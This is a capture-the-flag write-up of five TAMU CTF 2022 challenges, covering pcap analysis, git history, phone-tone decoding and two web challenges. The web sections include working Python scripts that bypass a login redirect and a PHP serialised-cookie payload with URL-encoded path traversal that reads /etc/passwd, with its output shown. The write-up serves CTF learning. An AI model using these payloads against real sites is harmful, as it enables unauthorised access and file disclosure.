TAMU CTF 2022

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Played with my CTF team fr334aks. The challenges were lots of fun and i learnt a thing or two from it.

First Chall: Plain

Someone logged into my computer and stole my flag. Can you get it back for me?

We're given a zipfile. Unzipping it, extracts a pcap file. Using wireshark, you'll notice that there's interesting data from the telnet protocol. Following the tcp stream of any of the packets after filtering for telnet will land you the flag which is base64 encoded.

...[snip]...
.]0;tacex@ubuntu: /tmp/flag..[01;32mtacex@ubuntu.[00m:.[01;34m/tmp/flag.[00m$ ccaatt  ffll	ag.txt 
.
Z2lnZW17ZDBudF91czNfdDNsbmV0X2V2M3J9Cg==
.]0;tacex@ubuntu: /tmp/flag..[01;32mtacex@ubuntu.[00m:.[01;34m/tmp/flag.[00m$ eexxiitt
.
logout
#!/usr/bin/python3 # @author: mug3njutsu from base64 import b64decode char = "Z2lnZW17ZDBudF91czNfdDNsbmV0X2V2M3J9Cg==" flag = b64decode(char).decode().strip() print(flag)

Decoding it will give you the flag.

┌──(mug3njutsu㉿Lenovo-Ideapad)-[~/ctf/tamuctf/plain_COMPLETE] └─$ python3 a.py gigem{d0nt_us3_t3lnet_ev3r}

Second Chall: What's the Difference

I made a mistake while making a writeup for a challenge from MetaCTF 2021. Can you find it?

We're given a zipfile. Unzipping it, extracts a .git folder. Interesting. What i usually do when i get such a chall, is i change my directory to the repo, then run rgrep.

┌──(mug3njutsu㉿Lenovo-Ideapad)-[~/ctf/tamuctf/what_the_difference_COMPLETE/.git] └─$ rgrep flag hooks/fsmonitor-watchman.sample: # return the fast "everything is dirty" flag to git and do the logs/HEAD:e61bf8b90c60b29a241bd29205eb173ef79cd850 0b055455560bce16787d2e2a7b0ae36b3ddd2b35 TacEx <TacEx@root.dev> 1649402065 -0500 commit: Whoops wrong flag logs/refs/heads/master:e61bf8b90c60b29a241bd29205eb173ef79cd850 0b055455560bce16787d2e2a7b0ae36b3ddd2b35 TacEx <TacEx@root.dev> 1649402065 -0500 commit: Whoops wrong flag COMMIT_EDITMSG:Whoops wrong flag

One of these should potentially have the flag. You can then run git show <commit>.

┌──(mug3njutsu㉿Lenovo-Ideapad)-[~/ctf/tamuctf/what_the_difference_COMPLETE/.git] └─$ git show 0b055455560bce16787d2e2a7b0ae36b3ddd2b35 ...[snip]... -Flag: gigem{b3_car3ful_b3for3_y0u_c0mmit}

Easy.

Third chall: Hear Me Out

You overheard some suspicious people typing on their phones, what are they saying?

We're given a zipfile. Unzipping it, extracts a .mp3 file. Playing it, you'll notice dial tones. I quickly went to dialabc. But you'll notice that it doesn't really like the mp3 file, and so, i had to convert it to a more suitable file format which is wav. And for this i used mpg321 which you can install by just running sudo apt install mpg321.

┌──(mug3njutsu㉿Lenovo-Ideapad)-[~/ctf/tamuctf/hearmeout_COMPLETE] └─$ mpg321 -w hear-me-out.wav hear-me-out.mp3 130 ⨯ High Performance MPEG 1.0/2.0/2.5 Audio Player for Layer 1, 2, and 3. Version 0.3.2-1 (2012/03/25). Written and copyrights by Joe Drew, now maintained by Nanakos Chrysostomos and others. Uses code from various people. See 'README' for more! THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN RISK! Playing MPEG stream from hear-me-out.mp3 ... MPEG 1.0 layer III, 64 kbit/s, 44100 Hz stereo [0:25] Decoding of hear-me-out.mp3 finished.

Now i can upload the file. Got a few digits.44422226684433277788. Using dcode-cipher-identifier, i was able to tell that it was a Multi-tap Phone (SMS). I used dcode-multiple-abc-cipher to decode it and got the flag as ICANTHEARU.

Fourth Chall: Lock Out

I seem to have locked myself out of my admin panel! Can you find a way back in for me?

This was a fun web chall. Visiting the website, there was nothing really interesting on the webpage, but there a was a link to login that required you to enter the username and password. If you try like admin:admin, it does nothing and reloads the login page. If you look at the web developer tools, you'll notice that the request made to admin.php is a 302 which redirects you back to login.php. Okay, i can use python to login anyways.

#!/usr/bin/python3 # @author: mug3njutsu import requests url = "http://lockout.tamuctf.com/admin.php" s = requests.Session() s.auth = ('admin','admin') r = requests.post(url, allow_redirects=False) print(r.text)
┌──(mug3njutsu㉿Lenovo-Ideapad)-[~/ctf/tamuctf/lockout_COMPLETE] └─$ python3 a.py <!DOCTYPE html> <head> <link rel="stylesheet" href="/static/admin.css"> </head> <body> <h1>Industry Night Shopping List</h1> <p>Croc Martins</p> <img src="static/crocmartins.jpg" alt="Croc-Martins"> <form action="admin.php" method="get"> <input type="submit" name="PrintFlag" value="PrintFlag"> </form> </body>

Seems we are in. Now, there's this interesting part from the response. It seems there's a submit button in admin.php that allows one to print the flag. But unlike the login part, you must send a get request to admin.php for this to work. We could do this with python very easily.

#!/usr/bin/python3 # @author: mug3njutsu import requests import re url = "http://lockout.tamuctf.com/admin.php/submit" params = {'PrintFlag':'PrintFlag'} s = requests.Session() s.auth = ('admin', 'admin') r = s.get(url, params=params, allow_redirects=False) flag = re.findall(r'gigem{.*}', r.text)[0] print(flag)
┌──(mug3njutsu㉿Lenovo-Ideapad)-[~/ctf/tamuctf/lockout_COMPLETE] └─$ python3 a.py gigem{if_i_cant_wear_croc_martins_to_industry_night_then_im_not_going}

Easy.

Fifth chall: Serial Killer

I'm trying a new way to display files on my website. Can you try to break it for me?
Tip: The flag is located in the /etc/passwd file.

Another fun web chall. Visiting the website, there's an interesting note that says, If you see this the new method of getting files is working!. Checking the cookies, there's a session cookie: Tzo3OiJHZXRQYWdlIjoxOntzOjQ6ImZpbGUiO3M6MTA6ImluZGV4Lmh0bWwiO30%3D. Decoding this with base64, you'll get O:7:"GetPage":1:{s:4:"file";s:10:"index.html";}.
So, this is a serialized object with the class GetPage. From the object, i tried to change index.html to /etc/passwd and see if it was an easy win.

┌──(mug3njutsu㉿Lenovo-Ideapad)-[~/ctf/tamuctf/serial_killer_COMPLETE] └─$ echo -n 'O:7:"GetPage":1:{s:4:"file";s:11:"/etc/passwd";}' | base64 Tzo3OiJHZXRQYWdlIjoxOntzOjQ6ImZpbGUiO3M6MTE6Ii9ldGMvcGFzc3dkIjt9

But, using this didn't work.

Warning: include(/var/www/html//etc/passwd): failed to open stream: No such file or directory in /var/www/html/GetPage.php on line 12 Warning: include(): Failed opening '/var/www/html//etc/passwd' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/GetPage.php on line 12

There's a php script that is using include() to read the file but also maintaining the web root directory. So, using path traversal, you could potentially read /etc/passwd right?

<?php class GetPage{ public $file = "../../../../../../etc/passwd"; } $obj = new GetPage(); echo base64_encode(serialize($obj)); ?>
┌──(mug3njutsu㉿Lenovo-Ideapad)-[~/ctf/tamuctf/serial_killer_COMPLETE] └─$ php a.php Tzo3OiJHZXRQYWdlIjoxOntzOjQ6ImZpbGUiO3M6Mjg6Ii4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiO30=

Tried this as the session cookie, but it still didn't work. It still loads the default page, but then says that You should not be doing that. Most likely the periods and backslashes are being filtered out. So, how my good friend lvmalware went around this, was urlencoding the backslashes.

<?php class GetPage{ public $file = "..%2F..%2F..%2F..%2Fetc%2Fpasswd"; } $obj = new GetPage(); echo base64_encode(serialize($obj)); ?>

This should now do the trick.

┌──(mug3njutsu㉿Lenovo-Ideapad)-[~/ctf/tamuctf/serial_killer_COMPLETE] └─$ php a.php Tzo3OiJHZXRQYWdlIjoxOntzOjQ6ImZpbGUiO3M6MzI6Ii4uJTJGLi4lMkYuLiUyRi4uJTJGZXRjJTJGcGFzc3dkIjt9

And indeed, we get the /etc/passwd file.

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin gigem{1nt3r3sting_LFI_vuln}

Now to easen the work.

#!/usr/bin/python3 # @author: mug3njutsu import subprocess import requests import re b = subprocess.check_output(['php a.php'], shell=True).decode() cookies = {'PHPSESSID': f'{b}'} r = requests.get('http://serial.tamuctf.com/', cookies=cookies) flag = re.findall(r'gigem{.*}', r.text)[0] print(flag)
┌──(mug3njutsu㉿Lenovo-Ideapad)-[~/ctf/tamuctf/serial_killer_COMPLETE] └─$ python3 a.py gigem{1nt3r3sting_LFI_vuln}